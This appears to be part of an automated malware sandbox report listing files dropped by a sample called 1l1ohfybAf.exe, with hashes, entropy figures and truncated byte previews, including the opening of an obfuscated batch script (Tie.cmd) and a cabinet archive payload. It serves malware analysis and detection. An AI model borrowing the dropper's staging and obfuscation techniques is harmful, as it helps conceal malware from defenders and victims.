Preview:	""..pR...u>..]s...JM.%.F"....;....C.....T...l...B..nU....<..j..Z.!...:?..}..?.2.t..@>c.x..4.'.,......, ...r.;c.......9.WBE.....4@.9. ZF...y6....._9..$...^.T..sN......r..2z.?...F\.YY...+......{.j.K..T....V.......Wj.P...&..-M.7..F.}19j............nvJ..Xt..%...%.5..o.Nv....N.p:..y.........yZo.>B..)........]/..K.K..:.t..9s...kI..$.-m......S.....2n.mx.S...X..x_TmA..B....s..u.L.T&.>xj.U.'t........i.H..t7......s.B.q........yAl.,Yr..r..E....I.f....?...).U$.DNW.....>.......iJD;.FTR...v..i......l....f........f..y.X_\|.ET\|..#...4.3,<.B\E...-7.O...s..V...u.U.....!....#....@JX]U..]`....p...vY.qj.*.l.9w..E.NjayI.....;...X$.cS.....XD....>..L...]....A.....&he....q..TI7.^L.5g.'b..L.$...+k'..L`.....y..{...:....;.E...Y.6..@E{-.CX~}.E...l%.vV..'.l.H.h.....%......ao.+.I..n.>...@....V....^.f..R.p..~:.,.vL...{F..}.s..b.QS\s_..m.(.;.X.3.s,S9...}l.A.3..#.+jP..CHi2..$'./.F.z...............V.l......4.U6.x.+ R...2\Z.1....N.....q..8p.........Y0.......k.[5

C:\Users\user\AppData\Local\Temp\Fisheries

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	5.9080177751466465
Encrypted:	false
SSDEEP:	1536:J5el3EYrDWyu0uZo2+9BGmdATGODv7xvTphK:J5elDWy4ZNoGmROL7F1k
MD5:	9F4261262F1253128F4CE76FA6F9338D
SHA1:	F240731C7930173734FA61D522EC384E5CBC3AE5
SHA-256:	A269011D761210FA5F1F5A8E5568C6895A6CA43B18B086C7038E805BBA8C779E
SHA-512:	1C946DD609053699E5E986A6035321EA233B559FD5FE963F231D605BDBAF5C869FA0E0EA97ED815C34D2EB441F13B6689CEC2BE46C2CF127643F1E9BA009E42B
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Grows

Download File

Process:	C:\Users\user\Desktop\1l1ohfybAf.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997128106692523
Encrypted:	true
SSDEEP:	1536:MXhjXWgpZfj3dPlAB1p+ZqROIuMoe4M1sg3P3lmfihMaWTmp6Y:MXlHpmXPROIupIeg/34fihIY
MD5:	57443B57D554DB2999C257DE2DE77439
SHA1:	7D77BF34188FC318F059CCD8E275BCA67A3E8A78
SHA-256:	536F964D2D8937D042A2BA643E4ED150FBC32ADE053642F062C8773A86615D9E
SHA-512:	2AC47D9837C3FA21A2E4F4B9DD26BDE383DCD4E19D5C67B8D9D8AF5FA126F5706E5CF96919A71C8820E2879F2A9DB35DB92505BB04298DA7A8B3C88E5698BB41
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	.^."{.....P.....,......(....+..3.M.......qi......1.C...._...O.x/;........N...w...<(.<n....]mwM......C...O.XS......M&}..:}.}..G\.K...^y.....C^...z7..(.g.d..k......{.}............~...h.z.".tm.4m1.`}-.$..-\|..I(.w...r.yMV..,..J..hz..0f0;..(Oytp.4.b[a!h_i....._.G..`.y..^h..i...#..w..j....g,..B?.t1...j..2t..........u.......zdh...L..a.v.W.~.d......f{g......5v.0..-.]b.Hj..i7...v.u).6..A...^.:b..B).<'.<..x...=..S.P.4`..7._..F....6/G..b........,...b)3....l..G)..&...y{........z..I.PG,.....L=].."--n`-....).d.'.\|.......5....m..7."&.........'7..P..\.a.h.........MEy.<9L.op...\..:p..h.'. !..O..p.y...EfLB=...p.e....$.[.'.3..T4`pO.4F-..]..1\7.eT...r?a.JB..e0..o.......}/+.r&.o....(...F...q0.\|..Te,5..}.``\|....K.....b......>.lo.zo...........D.....Y.zB. .X.X.6'O ?.....R..+.Y,..t..H[&'v......>*..'p'i`.......9..(.B..^...\|.....%....[.6?.....E....g...%.u.yU.9'.......a.:.5I._.0H&.!......4.F..u.Po`.p...J..XPV .. ]...P..D.......0U.P....v.,.p..%...

C:\Users\user\AppData\Local\Temp\Injuries

Download File

Process:	C:\Users\user\Desktop\1l1ohfybAf.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	7.997883484317299
Encrypted:	true
SSDEEP:	1536:RGyOGDscXhoQ5SDIcZg18AjThs0tBVnTHo6HZd+jj7TJepb7r8t0tfXUEp:RZOGAQAUOg1HjThRHVTHVHZd+jGbv8m/
MD5:	1CD4E67E615D9A9AD76C040323987D39
SHA1:	24CCFDFAF1CAEEFD6C80250F6A4AA2546D5C7CD1
SHA-256:	429C0C99011D3457DC2232F004CB19297F542971D2D41484B898A9E9F3BEE1BD
SHA-512:	75F66D041096443BB6D4CEF25ED0294C0523185F6AC071CB0DE3E5D475C5804952413E78ED1297387FEDFA851799E23819ADF30A2D50F3CAADC5432631F1C624
Malicious:	false
Preview:	.P..JaS'.n...M7.KBa...a...\!....}....xjG.X..>...ig..{2.-.U..W8.X.,3..X.`.(5O.d\...EH=...H.....O.W........T..{..a.WT.d..vu....4.".4M....}... .K..U4.K...5...SP.{..>dj....Pk...9..S.#X..E.....<.=.......C.N....j6.r@...}.P...q8..;z.`...}....y.l ....-..I.".kD..z({.../GM...!..7..5...i.......]#.d...z:...t.......1..M..9..&.....\Z...^...x....x...fG KD.KC.}0.w{..GW.....F.F.1v.H-<9P,x..%..D..M:...'..'.4h..q....m..._#....`4.4$[.m....WCcT...!.l..;..I..FwM.(0...../........t.M..]..v...'..n..o......L.T..zC'.W...3..].~I^.]...ce.;....E.k.^...Ywq....T.=.L.@[..2.}.^.^.Wij.r.]}..G .y.....o.7d..\........J<^..K..,..z......m....8.B7.."./<.@ZN..1.Z...........c..h.....W.h...QV...TmE.'.;.....h...[..-6d.Nu.....3....kO...Q...{x.....[....cR\o.8...>..\|..H..~....-..f.k..... .STi....bP?-u..(...R...8...b.-....F.Boe.......rI......<.L.^.(.=.....+y`..]...C....V..KqV%......g..?.gX. ..`G..j...~.N.dBw....D.*.0#....+.,^.z.s.zl.....e..#..l.!9~.4s..\|....DMS...F....

C:\Users\user\AppData\Local\Temp\Iraq

Download File

Process:	C:\Users\user\Desktop\1l1ohfybAf.exe
File Type:	data
Category:	dropped
Size (bytes):	27284
Entropy (8bit):	7.993384883291331
Encrypted:	true
SSDEEP:	384:nz08dwj/pyPF5pmT9V/umdUhDM8EmB/cszzi6r7oCMAWMqiLVBDIFqa7gLLQaZfS:HdwoPsT9VrdUZM4/DS07oAWWzrZK
MD5:	8A0F3D9ACE76565682B5E8941C0E315C
SHA1:	107EEEF736C261AD03ED85150567D8CFB300B83B
SHA-256:	DAF067E6BD3C0166F768036E65A787320909E6DD8E9B4E4CCA03066496683902
SHA-512:	1707F59A34D2EE5B04CAE0EAAB36F7025EB4D5B1F183FAC2EE391C7D7AF1AAFA0200CA137314FCD42461F69FC1C26CA1D915B2ACA3ABA8206BA2B0CDD24FAFA4
Malicious:	false
Preview:	.p@T1"<i#...2C.3....w..ScY7.Rm%.....@.~a..N.\u...\..K.x...\|2..?Y.BB.5.w.&ua1....w[.(r....Q.u.:hOh..&...^.....1......$5I\| 8#E.........v..........kp.!.]y.o..b..+.x....:$..y..0...\|.VJ....2s.o.M..n....."...+L......4r.4.?dG.^..f'........p9gg.Rp..!s}....{,...8\...&Sn>.{..X...:%..S.%....[d%....}..a2.w..?.{$9.u%.V;<(.........\Y&lx..Z.}...J/.V.}.....B.Ec....RQ2u...O....:>.!.r^Wj..`...28.M.&`.b..K.^..0...C..J.+\|..^..._..itN.o~5....}z.Xd...xd6_..J..N.Z&0...8d-......U-b.B....>X(L..AI\...y#...z..O\|...`.q...h.......a>.B.../."QV........r0/o......>.....~.r\|.....W..l..$..[.#..^....DB..E.#...y..y......Z..eA..8.}.4.AI.=.b.........U.......'...!K!.6.I..!.P.9..Q.S._..(.DU......('\2.tNH.~}JcrzO....I."".]Df`...y...WT?.....fjI8..$+.n.~....+..~j.J....Xb. ...7`-}.q.g1}........./."{......X@..Uv.u.~@...{?Y....<7.e..m.-'6....]........NGj.Ik.a.....E.._...O..0....P..K.A)..M.k."i.}.Ra.Z.P.{....U8....[.6.....#.{...`U.g..;.~...L.:..../...g.p.Tt.....y...L.8.W...G&..^...W(@

C:\Users\user\AppData\Local\Temp\Lawsuit

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	151552
Entropy (8bit):	6.467352113938928
Encrypted:	false
SSDEEP:	3072:sfhnueoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8QLeAg0Fuzz:sfhnvO5bLezWWt/Dd314V14ZgP0JaAOn
MD5:	630E83455A4E83EC2F28889E3B73746D
SHA1:	E192058507826A7DD9F853817BBD8C418560F081
SHA-256:	8CA44E9F2237D369794F46D7F5D7C9B51A09DDF3E339AE555516D4A5B99A7052
SHA-512:	46DCAF702DFFAC4D80C1CAB5EB58849C84E85DFF74CA71BCAA45D416A833B3B076C3E255D2C14FFCAE934EB7CAEECC48D03681AD7A3ED03862E573E455E2CA55
Malicious:	false
Preview:	}X....u..U..M..J.....uA.}....U.M..R....u-.E..H....f.x.@u.G.}..}..b...j.Yf9H.uO.U......U..E.....E...E.....B.....;O.}...}.t5.E.P..d.........}..t..E...0.;.,.M..E.I......@.Pjr...E.j.......h...........M.._t...M..Wt...M..Ot...M..Gt...M..?t.._^[....U.....e...e..SVW.}...M..E.....Q....p.........M...t....y......t...t..@.j.PW.u........x-..y.....t.....t..J......x.....t...t..R..z..u(..p....t....E....@..D......@.Ph........._^[....U.....E...d.x..SVW.}...u.P.E.WP.........3..D$ ..I..D$P.\$$.L$@.\$(.\$,.\$P.\$X.D$\.....D$...K...E....M..\$..@..D$........D$.uH.....@.Ph............L$@..I...L$P..r...L$ .D$ ..I..^....t$$..............j5_.\|$.f9y.u!.\|$@;9.}.t..1.L$D..J...E....@.B.....jG_.L$.f9y..}........B.....D$ PW.u.........g....E....D$......@.....D$...@...L$.f;D$.......jGXf;........L$..............t$@.L$d.>...D$...P.D$$P.D$hP.u..t$ .6......L$`.....H...........E....@....f.x..t8..@...Pjr...........9\$Dt......P....D$...@.Ph........3......B..\$0j.....D$4.\$<PW.u..D$L..........x .E...

C:\Users\user\AppData\Local\Temp\Newbie

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	20202
Entropy (8bit):	7.32483279435169
Encrypted:	false
SSDEEP:	384:g8tnwmTihbn929MwO/ChZrzmZGhLdXVaeCVrVEVFJ8ZcGwGBk7/UMQ3rw:DLiFuO/ChgZ45VatJVEV3GPkjF
MD5:	2B21B224B76F69E6457569A560115CE2
SHA1:	91EFC806DA4D9DD26AB2F3902DEAA10C64592B2D
SHA-256:	97152059911B81C289D15C2B1A07E3B4E5E78792F0B1E1FD09C268BE92EF24B6
SHA-512:	BF426464C355A157BDA7CC45C75826C01FE06F34F9490B838460F8688BC36FEF58CF5ED7578F5A9A7FE1FFBEFCF23154663CB4557116AB20E15A26DB9DC7BA4F
Malicious:	false
Preview:	.4.4{5.5"6p6.6.6.6.6~7.7.7.7.8.8(8;8D8W8.8.8.8.8.9.9.91:.:.;"<.<.<.<.=@=.=.>.>.>U?.?...P.......0C0n0.0.0.0.1E1U1h1.1.1+232:2B2.2*3G3.3.3.3G4Q4y4.4.5.5.5.6P6v6.6.7.7.7.8.8.8%8.8.8.9S9v9.9.9.9Q:.:~;.;.;.;.<N<Z<.<.<.<.=.=Q>a>.>.?.?.?.?...`.......0.0+0F0.0.0.0.0.0]1.1.1.2.2.2.2.3.3+3P3.3.3.3.3.3.354.4.4.4<5I5n5.5.5.5.5.5.6&6K6d6.6.6.687F7X7.7.7.7.7.7.7.8)8l8.819M9i9.9.9.9.:V:.:.:7;M;.;.;.;.<.<.<&=@>j>.>.>.?.?...p.......0#0.2.3.3.3.474[4.4.5.6$6%747M7.7.8.8V8q8{8.8.8.8.8.9.9.9.9.9.9.9.9.;.;o;.;.;.;.;8<V<.<.<.=.=.=.>.>3>.>.>.?6?m?.?.?.?......X...<0.0.0.0.1"1G1U1.1.1.1.1.2&2G2.2.2.2.2.4.4.4.5.6.7?8.8.9.9.9":;:.:.;.<.=^>.>3?......D...-2>2.2.2.3g3r3.3.3.344.4.4.465.5.6y6.6.6.6.7F7L7j7.>2?T?n?......d...y0.0.0.1.1D1v1.1.1.1.182?2\2l2.2.2.2.2.3 3-3.3.3.3.3_6.6.6.7B7l7.7.9.9.9F:[:h:.>.>.>.>q?x?.?.........0.090t0.3.3.3.3.3!3%3)3-3135393=3A3E3.3.3u4.4.4Q5.5.5=6.6.6.6X7a7.8.889A9.:.:.:.:.:.;.;5;>;D;V;\;a;o;w;.;.;.;.;.;.;.;.;&<9<[<x<.<.=.=D=}=.=.=.=.?.?....p....0N0.0K1.1.2N2.2.6.6.7m7.768J8R8]8i8P9Z9u9

C:\Users\user\AppData\Local\Temp\Niagara

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.530847403487625
Encrypted:	false
SSDEEP:	1536:IkBvRmLORuCYm9PrpmESvn+pqFqaynB6GMKY99z+ajU1Rjv18fRQLThM:IkBJR8CThpmESv+AqVnBypIbv18mLtM
MD5:	FCBF81D001A01D5E8C65E3AD54C954B8
SHA1:	89AC53426C250D6F91BA23273492313EB17B774F
SHA-256:	7415373E70527A923757725FB55F5A24AF3DE876B003EC6EF527DB8B05815877
SHA-512:	6E14F63DC758807C46B44433823D38EAEC352823745AFB61DA402B4E8142AAB7E80A51957FCE1CE05D519588DE70DAD87803FFEDC78B9F0783BFD569F560531F
Malicious:	false
Preview:	.#d......5.u.............h.zL...d.......h.....u..u..5.#M.....I... ..........t..]........M..\#M...{...M..{...M..{...M..{...M..{.._^[....U... .......VW3.3.f..............Vh....PV...u...0.I.P..RVh........I.........P..p...._^..U..E...x...x...;.}.P......M..0..C.......M...z..2.]...U....V.u...M..p...E.P............M...z..^....U.....=a#M..V..t...M......3...3.8..)M.t.9............P5M.@.P5M.9.....u.8.....u......t.....I.........3.j.QQ......Q.z.}...........)M....t8;.D)M.}).@)M........t..x..t..M.Q.p..0....I...t..-...)M...E..(M.P.....u..E.P..T.I..E.P..L.I.j.3.PPP.E.P....I.....t.....................=b#M..u...g#M....b#M....................u.3.@...=g#M..t.j.X..3.^..U..Q.}..SVW..........d......E.t..u.....u.........}..t...3M...........4...;.r..E......._^[....U..QQ.}..SVW....d......E.t..u..8......T....u...P.............E.......I..T9..D9...t..H8....I..]..M...t&..t...t..@8P....o..........#..C......u....*....}..t...3M..?....}......j...;>r..E._^[....U..V..W...N..@.... ....}........G.P

C:\Users\user\AppData\Local\Temp\Panasonic

Download File

Process:	C:\Users\user\Desktop\1l1ohfybAf.exe
File Type:	Microsoft Cabinet archive data, 489833 bytes, 10 files, at 0x2c +A "Newbie" +A "Annie", ID 7066, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	489833
Entropy (8bit):	7.998666563211313
Encrypted:	true
SSDEEP:	12288:qo+8Ixagc5JvAprwk+rUr5RzFT+Ja00yMlFhYW1Ah:qWgkSsk+Ir5RRT500kWuh
MD5:	7460CB525B5781A877808275264FCA69
SHA1:	C5DD31D6A5E16C24F855E9C840F4B3666B3E7ACC
SHA-256:	34A3EA0C9475B25846F7A30F5E7317CE0538F955B51506D251BDCC935D88C611
SHA-512:	E6C9DBF90615C9D4EDD3315959568DAF27C1ADAB41C8475CA274B0AB0026B339355BB0A7DAAC826F55878E671D2C35E6B61F80C077D4A135C314B5886B80E047
Malicious:	false
Preview:	MSCF....iy......,............................N........AZ.U .Newbie..<...N....AZ.U .Annie..........AZ.U .Depot..0.......AZ.U .Niagara...........AZ.U .Wines..P........AZ.U .Lawsuit......>....AZ.U .Recordings..T........AZ.U .Fisheries.t.........AZ.U .Abstract..T..^ ....AZ.U .Critics...E6jU..CK.y\.k..>...!..=.......R.DEv.9..D(....!.f98..i....B..Bh.....s.S.9..y...y~.....:.....k}........[...GY;y.\|.......\|!.G=..Q".1...>.Pz3.B..g.H..y...9v..O..O...Y...Q.(.+.T..D"...(.>.`...X.......]q?\|........`.^D).t#S....M:H:O.ZzTvA.Yf'....gP7...nA..;.1.!..a.0.m.qf..............7.{..~."]1H...V.U.S.P=E}.k"J........b..X&.K...sp.nHl!.......Fz......A.....IWJ.K.HyY?.LY.l.,[V(..Y.;...'.O...i./.O...Sg.\|...JY.]...".g<..L.....a.....,.yr.l.+.....;...........&....`..A2..K.K)...VzL.F.(.@I)Oj.e.s3..M/.+.wt%]M..1c.X16.-c.\e.q-.Y.o....+.h~......Q.R.H.DI.(..Tr..U.*Y...0.....Ea...Xs....+../..._q;.#.F,%..........\.$.$..T.6.i..m.r....k._T...HTo....\|t'.D..#l..d..+y..@J.../R.l..D>O.C~E.^....

C:\Users\user\AppData\Local\Temp\Recordings

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	6.686231409856148
Encrypted:	false
SSDEEP:	1536:6raSXL21rKoUn9r5C03Eq30BcrTrhCX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M2C:AtNPnj0nEoXnmowS2u5hVOoQ7t8T6pz
MD5:	AECD05783ED0910D6FB1E75B0207791F
SHA1:	170662EDADF4D67AA8A2AC1A3BFA65FCC505BBC0
SHA-256:	06F11BD84A5639A14810162C5509DEE46C03C1808157943D68CF20AF9A185534
SHA-512:	609C4BCA47EAE9F8BDF5FA86F1370268845ECCC47AFAE1EFD3791342C9F07706466117449879D7D5AE6A25BEDE78439544A1E50DDD231CE764211AE3D0CBBFD1
Malicious:	false
Preview:	.E..E..}..g....E..P..K......M...u..U(FG.B4..A.M.;z0\|.}.;u........}..u..M...](.U.js_.C +C....E..E....U...f...E.j._..f....f.2..}..U.;........u....j X;.E.s......CP;SL~..SL.K$....A.;.t.....u....E.f.A..C4.<G;.r..}.......}..u..M...M...](.U..M.jq.C +C....E..E.#..U.^..f..j.X..j f.:..X;..U...}......CP;{L~..{L.K$....A.;.t.....u..)....E.f.A........9SH.......KH.......".......E..4..IL....j.Z.E.+...............j.X.......S............P............P.......M.............T....F +F..U...j.Y.E.3.;..U.j....3.;.....X.....f......f..j.^..f....f......f...R.....KL.....KL..E..U.....E..u..8....U..r............M.....jEZf9Q.j\Zu.....!j.. .L..I..+...Y.........M.j\...Z.E..d....E..Y....M(.A`......x....U...M...%p........f..j.X..U....u.....M.E..E..M.......>..}.#......;...............#.......#..u..........}..a....E.E..b....},+....M....}.._...j\[;...r...jE[f9^...e...3....]..]........F.j:Yf;.t.j.Yf;.t.j=Yf;...5....U....+....u..... ...3..E.E(j:.X.Xf9F...S....N.j^Z.M...f9.u..E.E.E.A...M..U.+.............

C:\Users\user\AppData\Local\Temp\Tie

Download File

Process:	C:\Users\user\Desktop\1l1ohfybAf.exe
File Type:	ASCII text, with very long lines (829), with CRLF line terminators
Category:	dropped
Size (bytes):	16475
Entropy (8bit):	5.137679133455577
Encrypted:	false
SSDEEP:	384:CFEVmczIwDx7SRxM4fi5LG7tXQYlrxGiQcyVFjdoz:aEscE/R24fix2gYL1Qcy/d8
MD5:	886E66FE4003EE755CC17F7047E62D45
SHA1:	3E8890714E2EAB82D8E9434C631E315BBEFAE91E
SHA-256:	E4E0F262CD4E9F6100E74259A36869CC6D401E2DCD663CE1B71DEEEBDC52556F
SHA-512:	EA8439C6A3B0709063F45C6D3D89A5D75F94F696DEF8330A55FBD516B49E1B6163BE492E4A79186A883458D07C9E1E218536114D571A23EE9B1B316670FEF9CB
Malicious:	false
Preview:	Set Quest=1..ltStandard-Skirts-Sb-Walker-Eu-..dUuRadical-Isp-Shade-Levy-Pics-Foo-Overall-Snapshot-..hTxCanadian-Manager-Wines-Um-Stevens-Substantial-Scanners-..fCPharmacology-Communications-Teddy-Syria-Mc-Problem-Children-Files-Trailers-..KpInter-Understanding-Magnet-Thin-Curious-Strips-Size-Plus-..yHvInnocent-Interstate-Ak-..DcWStory-Journal-Italiano-Restructuring-Downloadcom-Part-Boom-Lottery-January-..vaonExploration-Territories-Awarded-Impacts-Realm-Curtis-Converter-Bathrooms-Days-..Set Applies=G..fyFType-Spending-Amazoncouk-..vfSituated-Malta-Odd-..jxiTransformation-Alexandria-Stands-Purse-Monitors-Earl-..LLbHCopies-Rather-Dependent-Introduced-..JgXChemistry-Expiration-Geology-Newest-Newport-Np-Denmark-Performer-..QDuyFeeling-Industry-Guards-Ambassador-Wherever-Conventions-Ca-user-Taxi-..WttfBookmark-Mediterranean-..pRPromotes-Internship-Brief-Whilst-Poker-Jpeg-Assembled-..GtjtTit-Administrator-Cashiers-Performed-usering-Respiratory-Pop-Stored-..FJBVary-Laughing-Started-Di

C:\Users\user\AppData\Local\Temp\Tie.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (829), with CRLF line terminators
Category:	dropped
Size (bytes):	16475
Entropy (8bit):	5.137679133455577
Encrypted:	false
SSDEEP:	384:CFEVmczIwDx7SRxM4fi5LG7tXQYlrxGiQcyVFjdoz:aEscE/R24fix2gYL1Qcy/d8
MD5:	886E66FE4003EE755CC17F7047E62D45
SHA1:	3E8890714E2EAB82D8E9434C631E315BBEFAE91E
SHA-256:	E4E0F262CD4E9F6100E74259A36869CC6D401E2DCD663CE1B71DEEEBDC52556F
SHA-512:	EA8439C6A3B0709063F45C6D3D89A5D75F94F696DEF8330A55FBD516B49E1B6163BE492E4A79186A883458D07C9E1E218536114D571A23EE9B1B316670FEF9CB
Malicious:	false
Preview:	Set Quest=1..ltStandard-Skirts-Sb-Walker-Eu-..dUuRadical-Isp-Shade-Levy-Pics-Foo-Overall-Snapshot-..hTxCanadian-Manager-Wines-Um-Stevens-Substantial-Scanners-..fCPharmacology-Communications-Teddy-Syria-Mc-Problem-Children-Files-Trailers-..KpInter-Understanding-Magnet-Thin-Curious-Strips-Size-Plus-..yHvInnocent-Interstate-Ak-..DcWStory-Journal-Italiano-Restructuring-Downloadcom-Part-Boom-Lottery-January-..vaonExploration-Territories-Awarded-Impacts-Realm-Curtis-Converter-Bathrooms-Days-..Set Applies=G..fyFType-Spending-Amazoncouk-..vfSituated-Malta-Odd-..jxiTransformation-Alexandria-Stands-Purse-Monitors-Earl-..LLbHCopies-Rather-Dependent-Introduced-..JgXChemistry-Expiration-Geology-Newest-Newport-Np-Denmark-Performer-..QDuyFeeling-Industry-Guards-Ambassador-Wherever-Conventions-Ca-user-Taxi-..WttfBookmark-Mediterranean-..pRPromotes-Internship-Brief-Whilst-Poker-Jpeg-Assembled-..GtjtTit-Administrator-Cashiers-Performed-usering-Respiratory-Pop-Stored-..FJBVary-Laughing-Started-Di

C:\Users\user\AppData\Local\Temp\Wines

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	138240
Entropy (8bit):	5.363981457650606
Encrypted:	false
SSDEEP:	768:xduPbOU7aI4kCD9vmPukxhSaAwuXc/mex/SGKAGWRqA60dTcR4qYnGfAHE9AUsF1:xIimuzaAwusPdKaj6iTcPAsAhxjgarB
MD5:	A3BCB165668D253563D45DBDDB674B39
SHA1:	9101C6C80A5645EDD51296A8B89A629A8C7D7F46
SHA-256:	F8A623D4972D00B51929245E86D1EBF23BA5C9A7924535AE4909551730C13814
SHA-512:	4C19442A6A9ECC3B6D2C172C9089EFC170EA5653DF7FAE59417667704C46EABD36C6D5538DB88852DC5691BB060EE2EA2939E5E1A7C46694C1EEEC2E7326E82C
Malicious:	false
Preview:	.?....N9.<.a.X;[.?...Y'].<.@...?.....E.<.VOu...?!S..X.<..b.- .?C.:....<...\|.a.?B.<..$.<..{...?+X.UG.<.m..e..?>U....<..o]2'.?....I..<....i.?G......<...o..? ...n.<.9.[...?...\|.^.<.......?.>o.j..<..._.p.?1S...<..X....?.....l.<..~...?o.x....<.%3.d..?.....{.=.4 ..L.?...V!..=.b..#..?....@g.=....a..?G....z.=..]...?....6..=.o.J.V.?J.. .b.=.'4..?/..t.>.<.w.....?a.`....<.._....?.a...e.=...F``.?./...f.=..#.&..?.5SmT4.<.W.....?R.z...<. ..(.?....vY.<.....k.?p.Y....=..y....?.8.'...<.Ku.C..?j...<{.=.2.<.5.?....d.=.....x.?."a....=.@.ic..?.%.[.9.=.......?kR..F..<..6D.C.?..._.<.5..Z..?..k..=....3..?.+xi(.<..G.&..?..r.ly.=.:..3S.?z....j.<...[..?..'....<.;!....?.h.....=...<...?...:...<....sd.?....3..=..?....?{.!m.B.<.<>....?....2.=.....2.?cM.yoG.=.V..sw.?8K...$.<....}..?C..l...<......?.-...<.'...F.?....{.<..$.R..?..)B..<..#....?.......<...c...?? ..~..<....F].?...&...=..../..?94...E.<.?.T9..?9...).<.l?.e/.?.B6.!F.=.u0w.u.?.M...=..k`(..?.......<.4.=...?Kp.....=.G".zI.?$.}Tw5

C:\Users\user\AppData\Local\Temp\a9cca1e7-4631-449c-b37f-0220e6149bd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	210856
Entropy (8bit):	7.988613284769978
Encrypted:	false
SSDEEP:	6144:OhRXUqE2LXkRZB+ZIVMdMKuWB4w/MHo1sIOoe:WUjdR6ZIVMdMR0DMHo1sITe
MD5:	799DF86A52F9E14DF3C36F89C2A4AB37
SHA1:	6BF3B61F711D35561F59145DA318AB01D9903DFB
SHA-256:	2C5228C173C26DC380811079A56817837E959B5133E4E56DCB28302ADC899B1C
SHA-512:	918E7189A741176F5759BCFEF198A3B6A223826488EBBDCB23A8B96118F5C385E4ABD0B59094977DDE714382D088F0AF9276CBEDCA878BCDD44A2E311E6EC08C
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......sRGB.........gAMA......a.....pHYs...%...%.IR$.....IDAThC].wt\...u.Z.......L..F.1%..;$. \ .$7.M.........y!....bc.E.-K.F..f.Q..e....[g....;k.?F.r.g...._I6.'...M.Kf.Jf8..p&..l..T.......!..T.........j....w?..7.....@.....n..~A..J...c._........A...........,y...#ZH1.Jrv...t..B.B.x3EK'3D.$......\.x6.B&.l:.T.l&O....r\.D sS0.C..!.7n`..3.....w3=7.....Uf:j.tW.....v....C.....v..y..._....1S..dO.....I.OS A...\.H"..B..\.T4K..'.).I.H.R...$2....C"S ....(..P.C6..(..#,.=.......O9x.-.X.e...~..F.......#~........>.....cv-{...[ulu[.j.j...'.?...7........?....P..Y..H..D..Df.$.Sd.9r...L...D.X6G.../. ..O.(d..MCd.N."............N....M.#..Rvh$.0.h..hu.h..4.+9./..TI.U.q..c..C..}V.{Lj.Xt.u.9p..._....E..g..6.}>r.c..,.)dH&.,.GY....d....l.H6O".#...d..9H.af.l8..W......z....u.`b...n......V.MV.>..V..V...ME.MI.]I.C.q........Uf....v#M.=GL:..5l.....zB.....oq.q/.3}......)R.$.h.d4G6......s.<..4.8..8D.....s..~...!m?}......V>.h......T;.x.....f-.F........'.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.414130119094878
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0SqDy5KW011u5M:JIVuwEw5MUFZLBQLtAyu+M
MD5:	1779B7DE38A9DDA20DCFA61BB49FE545
SHA1:	8A8041CDE107077D7537BF97EA099789CEBAAE1F
SHA-256:	ED8D7C2B131023F73FC6E168DFAD2DE2DC3ACB661B1971C629822F3F7BF74692
SHA-512:	7ADEE32C5493C9FDEDF5F5F3BA29F4CB324597B7FF46BBEE54BBD6A2FE86DD23538142A3DC706BFCC746DB66B7983B2E267898C0F45CDE92B0B6E2784870D21F
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir3568_2056036973\609d8dd6-4c0d-45b6-a3b1-1af37116898e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
